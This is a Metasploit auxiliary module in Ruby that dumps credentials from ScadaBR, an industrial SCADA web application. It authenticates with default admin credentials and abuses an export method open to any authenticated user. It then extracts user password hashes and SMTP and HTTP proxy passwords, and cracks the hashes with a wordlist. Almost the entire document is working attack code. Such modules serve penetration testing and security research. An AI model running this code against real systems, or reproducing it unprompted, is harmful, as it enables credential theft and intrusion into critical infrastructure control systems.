## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModule < Msf::Auxiliary   include Msf::Auxiliary::Report   include Msf::Exploit::Remote::HttpClient     def initialize(info = {})     super(update_info(info,       'Name'           => 'ScadaBR Credentials Dumper',       'Description'    => %q{         This module retrieves credentials from ScadaBR, including         service credentials and unsalted SHA1 password hashes for        all users, by invoking the 'EmportDwr.createExportData' DWR        method of Mango M2M which is exposed to all authenticated         users regardless of privilege level.         This module has been tested successfully with ScadaBR         versions 1.0 CE and 0.9 on Windows and Ubuntu systems.       },       'Author'         => 'Brendan Coles <bcoles[at]gmail.com>',       'License'        => MSF_LICENSE,       'Targets'        => [[ 'Automatic', {} ]],       'DisclosureDate' => 'May 28 2017'))     register_options(       [         Opt::RPORT(8080),         OptString.new('USERNAME',  [ true, 'The username for the application', 'admin' ]),         OptString.new('PASSWORD',  [ true, 'The password for the application', 'admin' ]),         OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),         OptPath.new('PASS_FILE',   [ false, 'Wordlist file to crack password hashes',           File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])       ])   end    def login(user, pass)     res = send_request_cgi 'uri'       => normalize_uri(target_uri.path, 'login.htm'),                            'method'    => 'POST',                            'cookie'    => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",                            'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'),                                             'password' => Rex::Text.uri_encode(pass, 'hex-normal') }       unless res       fail_with Failure::Unreachable, "#{peer} Connection failed"    end      if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/       @cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first       print_good "#{peer} Authenticated successfully as '#{user}'"    else      fail_with Failure::NoAccess, "#{peer} Authentication failed"    end  end    def export_data     params = 'callCount=1',              "page=#{target_uri.path}/emport.shtm",              "httpSessionId=#{@cookie}",              "scriptSessionId=#{Rex::Text.rand_text_hex(32)}",              'c0-scriptName=EmportDwr',              'c0-methodName=createExportData',              'c0-id=0',              'c0-param0=string:3',              'c0-param1=boolean:true',              'c0-param2=boolean:true',              'c0-param3=boolean:true',              'c0-param4=boolean:true',              'c0-param5=boolean:true',              'c0-param6=boolean:true',              'c0-param7=boolean:true',              'c0-param8=boolean:true',              'c0-param9=boolean:true',              'c0-param10=boolean:true',              'c0-param11=boolean:true',              'c0-param12=boolean:true',              'c0-param13=boolean:true',              'c0-param14=boolean:true',              'c0-param15=boolean:true',              'c0-param16=string:100',              'c0-param17=boolean:true',              'batchId=1'      uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'    res = send_request_cgi 'uri'    => uri,                            'method' => 'POST',                            'cookie' => "JSESSIONID=#{@cookie}",                            'ctype'  => 'text/plain',                            'data'   => params.join("\n")       unless res       fail_with Failure::Unreachable, "#{peer} Connection failed"    end      unless res.body =~ /dwr.engine._remoteHandleCallback/       fail_with Failure::UnexpectedReply, "#{peer} Export failed."    end      config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first     print_good "#{peer} Export successful (#{config_data.length} bytes)"      begin      return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"'))     rescue      fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")     end  end    def load_wordlist(wordlist)     return unless File.exist? wordlist     File.open(wordlist, 'rb').each_line do |line|       @wordlist << line.chomp     end  end    def crack(user, hash)     return user if hash.eql? Rex::Text.sha1 user     pass = nil    @wordlist.each do |word|       if hash.eql? Rex::Text.sha1 word         pass = word         break      end    end    pass   end    def run     login datastore['USERNAME'], datastore['PASSWORD']       json = export_data       service_data = { address:      rhost,                      port:         rport,                      service_name: (ssl ? 'https' : 'http'),                      protocol:     'tcp',                      workspace_id: myworkspace_id }       columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail'    user_cred_table = Rex::Text::Table.new 'Header'  => 'ScadaBR User Credentials',                                            'Indent'  => 1,                                            'Columns' => columns       if json['users'].empty?       print_error 'Found no user data'    else      print_good "Found #{json['users'].length} users"      @wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'      @wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr'])       load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil?     end      json['users'].each do |user|       next if user['username'].eql?('')         username = user['username']       admin = user['admin']       mail = user['email']       hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first       pass = crack username, hash       user_cred_table << [username, pass, hash, admin, mail]         if pass         print_status "Found weak credentials (#{username}:#{pass})"        creds = { origin_type:     :service,                   module_fullname: fullname,                   private_type:    :password,                   private_data:    pass,                   username:        user }       else        creds = { origin_type:     :service,                   module_fullname: fullname,                   private_type:    :nonreplayable_hash,                   private_data:    hash,                   username:        user }       end        creds.merge! service_data       credential_core = create_credential creds       login_data = { core: credential_core,                      access_level: (admin ? 'Admin' : 'User'),                      status: Metasploit::Model::Login::Status::UNTRIED }       login_data.merge! service_data       create_credential_login login_data     end      columns = 'Service', 'Host', 'Port', 'Username', 'Password'    service_cred_table = Rex::Text::Table.new 'Header'  => 'ScadaBR Service Credentials',                                               'Indent'  => 1,                                               'Columns' => columns       system_settings = json['systemSettings'].first       unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('')       smtp_host = system_settings['emailSmtpHost']       smtp_port = system_settings['emailSmtpPort']       smtp_user = system_settings['emailSmtpUsername']       smtp_pass = system_settings['emailSmtpPassword']       vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}"      service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]     end      unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('')       proxy_host = system_settings['httpClientProxyServer']       proxy_port = system_settings['httpClientProxyPort']       proxy_user = system_settings['httpClientProxyUsername']       proxy_pass = system_settings['httpClientProxyPassword']       vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}"      service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]     end      print_line     print_line user_cred_table.to_s     print_line     print_line service_cred_table.to_s       path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings'    print_good "Config saved in: #{path}"  endend